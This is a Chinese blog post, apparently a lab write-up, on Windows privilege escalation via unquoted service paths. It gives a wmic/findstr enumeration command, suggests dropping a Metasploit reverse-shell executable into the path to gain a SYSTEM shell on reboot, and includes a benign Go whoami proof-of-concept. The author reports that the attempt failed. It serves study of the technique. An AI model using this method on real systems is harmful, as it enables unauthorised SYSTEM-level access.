【WINDOWS提权】不带引号的服务路径提权——也比较鸡肋,需要安装后门替换服务后重启系统,你的后门服务才会起来,因为服务启动权限高,所以可以提权

【WINDOWS提权】不带引号的服务路径提权

 from:https://www.freesion.com/article/68201384168/


一、漏洞原理

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

漏洞服务下载地址:https://www.exploit-db.com/exploits/40428

在这里插入图片描述
路径没有包含在引号中,服务会按照以下顺序依次执行

c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
  •  

假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell

使用以下命令查看系统中错误配置的路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

  •  

在这里插入图片描述

二、编译一个可执行程序

要求:

  • 运行后执行系统命令whoami
  • 在当前目生成一个.txt文件,内容为whoami的执行结果
  • 程序命名为program.exe
  • 程序执行后自动删除(以免影响正常服务启动)
package main

import (
        "fmt"
        "io/ioutil"
        "log"
        "os/exec"
)

func main() {

        //cmdOutput, err := exec.Command("python", "whoami").Output()
        cmdOutput, err := exec.Command("whoami").Output() // 执行系统命令
        if err != nil {
                log.Fatal(err)
        }

        err1 := ioutil.WriteFile("whoami.txt", cmdOutput, 0644)
        if err1 != nil {
                panic(err)
        }

        fmt.Printf("%s", cmdOutput)

}
  •  

编译:go build -o Program.exe

这里也可以使用MSF生成一个反弹shell的exe

三、漏洞复现

1、将可执行程序上传至靶机Windows2008 R2

在这里插入图片描述
2、重启靶机

查看同上传程序的目录下生成的whoami.txt内容中权限是否为system

在这里插入图片描述

总结:该实验只是为证明当服务路径不被引号包含时出现的漏洞

  • 1、我们上传的Program.exe会被系统执行。
  • 2、系统运行Program.exe的权限为system。

注意:很可惜我的实验失败了,重启靶机后系统并没有执行Program.exe,(ps:自己手动执行的)不知道问题出在哪里,这大概就是自学的难点吧,有大佬知道的还请指点小弟一下!!!

参考文章:

https://www.cnblogs.com/persuit/p/5916010.html
https://www.anquanke.com/post/id/85377
https://xz.aliyun.com/t/2606
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

posted @ 2022-02-06 11:00  bonelee  阅读(418)  评论(0编辑  收藏  举报